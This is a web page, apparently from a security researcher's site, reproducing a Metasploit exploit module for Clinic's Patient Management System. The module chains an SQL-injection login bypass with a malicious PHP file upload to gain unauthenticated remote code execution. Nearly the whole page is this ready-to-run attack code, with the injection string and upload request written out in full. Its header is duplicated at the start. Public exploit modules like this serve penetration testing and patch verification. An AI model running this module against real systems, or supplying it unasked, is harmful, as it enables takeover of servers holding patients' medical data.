Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
# include Msf::Post::File
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
'Description' => %q{
This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
},
'Author' => [
'msutovsky-r7', # CVE-2025-3096, module developer
'Ashish Kumar' # CVE-2022-2297
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [
['Clinic Patient Management System 2.0', {}]
],
'DefaultTarget' => 0,
'References' => [
['CVE', '2022-2297'],
['CVE', '2025-3096'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
],
'DisclosureDate' => '2025-01-04',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms/']),
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])
])
end

def check
print_status('Checking if target is vulnerable...')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})

return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")

return Exploit::CheckCode::Appears('Clinic PMS detected')
end

def login_sqli
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' =>
{
user_name: "' or '1'='1' LIMIT 1;--",
password: '',
login: ''
}
})

fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
print_status('Logged using SQL injection..')
end

def upload_payload
username = Rex::Text.rand_text_alphanumeric(8)
password = Rex::Text.rand_text_alphanumeric(8)
filename = Rex::Text.rand_text_alphanumeric(8) + '.php'

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"

data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n"
data_post << "1\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n"
data_post << "#{username}\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{username}\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{password}\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"#{filename}\"\r\n"
data_post << "Content-Type: application/x-php\r\n\r\n"
data_post << "#{payload.encoded}\r\n"
data_post << "--#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n"
data_post << "\r\n"
data_post << "--#{boundary}--\r\n"

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'update_user.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'vars_get' =>
{
'user_id' => '1'
},
'data' => data_post
})

fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')

fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
print_status('Malicious file uploaded..')
end

def logout
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + 'logout.php'),
'method' => 'GET'
})
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')

fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'
print_status('Logged out..')
@cookie_jar.clear
end

def trigger_payload
logout
login_sqli

print_status('Reporting vulnerability')
report_vuln(
host: datastore['RHOSTS'],
name: name,
refs: references,
info: 'The target is vulnerable to CVE-2025-3096.'
)

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/update_user.php'),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' =>
{
'user_id' => '1'
}
})

fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 200
fail_with Failure::UnexpectedReply, 'Unexpected content of body' if res.body&.blank?
html_document = res.get_html_document
payload_path = html_document.xpath('//img[@alt="User Image"]/@src')&.text

fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?

register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES']
send_request_cgi({
'uri' => normalize_uri(target_uri.path, payload_path),
'method' => 'GET',
'keep_cookies' => true
})
end

def exploit
login_sqli
upload_payload
trigger_payload
end
end
Social Media Share